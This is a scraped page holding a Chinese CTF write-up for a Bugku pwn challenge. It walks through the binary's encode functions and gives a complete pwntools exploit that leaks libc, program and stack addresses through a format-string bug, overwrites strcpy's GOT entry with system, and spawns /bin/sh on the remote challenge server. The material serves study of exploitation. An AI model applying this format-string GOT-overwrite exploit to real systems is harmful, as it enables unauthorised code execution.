当前位置: 首页 > news >正文

新泰网站制作公司网络规划设计师是高级项目经理吗

新泰网站制作公司,网络规划设计师是高级项目经理吗,如何修改自己的网站标题,广州中国建设银行网站首页前言 此题是我根据某大佬wp(从Libc官网下载的Libc)解出的#xff0c;我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc#xff0c;因为这道题在Bugku未提供Libc版本 有些部分很难理解#xff0c;如果有大佬知道的#xff0c;还请不吝赐教 还是先把解题流…前言 此题是我根据某大佬wp(从Libc官网下载的Libc)解出的我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc因为这道题在Bugku未提供Libc版本 有些部分很难理解如果有大佬知道的还请不吝赐教 还是先把解题流程写下来吧 解题流程 查看文件类型 查看保护机制 IDA64位打开 伪码 查看子程序 case 2: 对encode2进行分析发现printf(buf1)应该是要用格式化字符串漏洞因为buf1并不是这个函数的局部变量可能还是个格式化字符串不在栈上的格式化字符串漏洞具体的encode操作是对一个字节进行移位想利用的话还要先构造一个逆算法。 case 3: 对encode3进行分析buf是0x110大小但是read是0x100直接栈溢出是没戏了这里还有个strcpy函数可以把encode1里的src复制给buf后来发现实现不了放弃了还是老老实实地通过格式化字符串漏洞写GOT表吧encode算法也是移位操作写个逆算法就行。 case 1: 对encode1进行分析该函数的功能时先输入一个key之后对这个key进行逐位加1异或的操作具体看伪码用文字也有点难描述 之后用前面key生成的一个结果对真正要encode的字符串再进行一个异或操作最终输出结果。其他没发现啥问题。 解题思路 通过上面的分析大体思路是通过格式化字符串漏洞写GOT表把strcpy换成system。具体要解决以下几个问题 1、程序正常执行的话是一轮游选择任何一个encode算法执行完就退出了。需要能重复执行该程序不能执行一次就退出。 2、如何获取libc基址、程序基址、栈地址。 3、写各个encode的逆算法。 针对第1个问题发现判断是否退出的关键变量qword_201700在src的后面而且encode1的read是0x150覆盖qword_201700使用0x148就够用了0^xx这里的key选用\x00首次尝试使用’a’*0x148直接过了其实0x141~-0x148都可以。 针对第2个问题使用格式化字符串漏洞配合gdb调试可以泄露libc基址、程序基址、栈地址。 针对第3个问题encode2和encode3都是移位操作不涉及复杂的数学知识也好实现。 具体调试 针对泄露地址的问题在printf处下断点红框的__libc_start_main可以用来泄露libc基址使用fmtarg这个插件需要安装到gdb里。那位大佬说具体的偏移也可以看最左侧的值这里是0x320x32555这里不明白为什么要加5有大佬知道的还请不吝赐教 rbp下面的存储是返回地址和IDA里的信息可以对应上可以计算出程序基址。使用fmtarg。偏移的算法也可以是0x2e551不明白为什么加5有大佬知道的还请不吝赐教 泄露地址后开始使用格式化字符串不在栈上的利用。首先找三个指针p1-p2-p3。具体见下图的红框。p1(%14$p)、p2(%50 $p)、p3(%54 $p)这里最疑惑为什么要找这三个指针有大佬知道的还请不吝赐教 具体的利用是分两步走的 第一步首先通过p1写p2的低位字节改变指向p3的偏移再利用p2把p3所在的内存改成strcpyGOT表地址。 第二步通过p2写p3此时已经是strcpyGOT表的低位字节再通过strcpyGOT把最终指向地址改为system的libc地址。 首先看第一步的之间过程 最终的p3值被改为了strcpyGOT地址 第二步的之间过程与第一步类似不一张张贴图了 exp: #codingutf-8 from pwn import * import sys from LibcSearcher import * context.log_leveldebug context.terminal [gnome-terminal,-x,sh,-c]#远程调试 p remote(114.67.246.176,12532) #本地调试 #p process(./pwn6) elfELF(./pwn6)#encode2的逆算法 def choice2encode(strarg):return b.join([p8(((ord(i)0b11)6)((ord(i)0b11111100)2)) for i in strarg]) #encode3的逆算法 def choice3encode(strarg):return b.join([p8(((ord(i)0b00111111)2) ((ord(i)0b11000000)6)) for i in strarg])#确保程序可以循环执行不至于一轮游 p.sendlineafter(choice:,1) p.sendafter(keys?,p8(0)) p.sendafter(encode:,a*0x148) #0x141也可以但0x140不可#搜索可能的libc模板 #libcLibcSearcher(__libc_start_main, libc_start_main) #libc_baselibc_start_main-libc.dump(__libc_start_main) #libc基址 #log.success(libc_basehex(libc_base)) #printflibc.dump(printf)libc_base #此libc的printf地址 #log.success(printfhex(printf)) #systemlibc.dump(system)libc_base #此libc的system地址 #log.success(systemhex(system))#gdb.attach(p,b printf) #泄露libc、程序基址、栈地址 p.sendlineafter(choice:,2) payloadchoice2encode(%55$p%51$p%14$p) p.sendafter(encode:,payload) p.recvuntil(0x) #回显的信息为上面的格式请求,在一排 libc_start_mainint(p.recvuntil(0x,dropTrue),16)-240 #搜索可能的libc #libc_base libcLibcSearcher(__libc_start_main, libc_start_main) libc_baselibc_start_main-libc.dump(__libc_start_main) #libc基址 #main_base main_baseint(p.recvuntil(0x,dropTrue),16)-0xe5b#bufp.recvuntil(\n,dropTrue)#直到接收到\n为止dropTrue表示丢弃\nbuf为接收到的输出但不包括丢弃的\n #stack_addr stack_addrint(p.recv(12),16) success(leak-libc_base hex(libc_base)) success(leak-mainbase hex(main_base)) success(leak-stack_addr hex(stack_addr)) strcpy_gotmain_baseelf.got[strcpy] #疑问很奇怪不是elf.got[strcpy]就可以了吗为什么还加上main_base?还请大佬不吝赐教 print(strcpyGOThex(strcpy_got)) libc_systemlibc_baselibc.dump(system) print(systemhex(libc_system))#gdb.attach(p,b printf) #格式化字符串第一步 for i in range(6):print(firststr(i))x 5-ioff_lowByte(stack_addr32x)0xffp.sendlineafter(choice:,2)payloadchoice2encode(%str(off_lowByte)c%14$hhn)p.sendafter(encode:,payload)value_lowByte (strcpy_got(x*8))0xffp.sendlineafter(choice:,2)payloadchoice2encode(%str(value_lowByte)c%50$hhn)p.sendafter(encode:,payload)#gdb.attach(p,b printf) #格式化字符串第二步 for i in range(6):print(secondstr(i))off_lowByte(strcpy_goti)0xffp.sendlineafter(choice:,2)payloadchoice2encode(%str(off_lowByte)c%50$hhn)p.sendafter(encode:,payload)value_lowByte (libc_system(i*8))0xffp.sendlineafter(choice:,2)payloadchoice2encode(%str(value_lowByte)c%54$hhn)p.sendafter(encode:,payload)#执行system(/bin/sh) p.sendlineafter(choice:,3) p.sendafter(encode:,choice3encode(/bin/sh\x00)) p.interactive()运行脚本 逐渐尝试 输入1进入到服务器后台才知道libc版本为2.23所以选8也可以 得到flag{778b4fe57dc339fa540} 这是才得知libc.so的版本为2.23那么上面的版本也可以选8
http://www.zqtcl.cn/news/210633/

相关文章:

  • 不备案的网站很慢网站双线主机优势
  • 南京电子商务网站建设23个营销专业术语
  • 建设银行官网官方网站学习网页制作的网站
  • 开发网站需要什么硬件今年最流行的装修风格
  • 门户网站建设中标结果百度资讯指数
  • 定制企业网站开发公司网站建设的6个基本步骤
  • 网站建设与维护案列网站作品怎么做
  • 茂名放心营销网站开发seo收费
  • 旅游网站品牌建设本地使用宝塔安装wordpress
  • 专门做外链的网站制作论坛类网站模板免费下载
  • 靖江建设行业协会网站投资做网站
  • 做网站视频背景潍坊网站制作建设
  • 深圳市官网网站建设哪家好百度抓取网站登录
  • 免费做cpa单页网站友情链接买卖代理
  • 免费网站建站排名中国最大的软件公司
  • 码云pages做静态网站广西建设培训网
  • 建设网站需要花钱吗网站seo方案策划书
  • 德阳网站怎么做seo陈木胜个人资料
  • 电子规划书商务网站建设wordpress主机推荐
  • wordpress设置多站点html5开发手机app
  • 移动互联和网站开发哪个好做推广便宜的网站有哪些
  • 极速网站建设定制价格微信公众号运营助手
  • .net制作网站开发教程在线修图编辑器
  • 哪些网站可以做详情页聊城高新区建设局网站
  • 湖南网站优化代运营山东建设厅证件查询网址
  • 以百度云做网站空间浙江外贸网站建设
  • 南通网站建设推广专家wordpress 信息流 主题
  • 网站培训机构有哪些大学生做企业网站
  • 网站培训班有哪些课程做的好的大学生旅行有哪些网站好
  • 昌江县住房和城乡建设局网站佛山建设网站制作